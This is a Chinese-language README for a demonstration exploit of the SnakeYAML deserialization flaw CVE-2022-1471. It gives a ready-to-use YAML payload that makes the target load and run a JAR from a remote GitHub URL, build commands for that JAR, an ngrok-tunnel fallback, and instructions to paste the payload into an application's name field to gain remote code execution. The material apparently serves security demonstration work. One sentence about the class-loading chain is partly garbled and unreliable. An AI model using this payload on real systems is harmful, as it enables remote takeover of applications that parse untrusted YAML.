
SnakeYAML CVE-2022-1471 演示用漏洞利用载荷
一个用于 CVE-2022-1471 的 SnakeYAML 反序列化利用 payload,改编自 artsploit/yaml-payload(最初基于 mbechler/marshalsec)。
当通过 SnakeYAML 不安全的 Yaml.load() 加载时,此 payload 会接管正在运行的应用程序,并用一个 "You've Been PWNED" 页面替换它:
如果 Tomcat Valve 注入不可用(例如非 Spring 应用),它会回退到在 9999 端口启动一个独立的 HTTP 服务器,并在 ngrok 运行时自动创建 ngrok 隧道。
这在 macOS 本地 和 CI/CD 流水线(例如 Ubuntu 上的 GitHub Actions)中均适用。
SnakeYAML payload 通过 Java SPI(Service Provider Interface,服务提供者接口)触发 ScriptEngineManager:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sec-demo-2/yaml-payload/main/yaml-payload.jar"]]]]
yaml-payload.jar 的 java.net.URLURLClassLoader 中以加载远程类ScriptEngineManager 通过 META-INF/services/javax.script.ScriptEngineFactory 发现并加载 AwesomeScriptEngineFactory/ 上的响应替换为 PWNED 页面需要 JDK 17+:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
用作 maven-demo 项目中的利用 payload。将 payload 字符串粘贴到应用的名称字段中以触发 RCE。应用页面将在下一次请求时被替换为 PWNED 页面。完整演示说明请参阅该仓库的 README。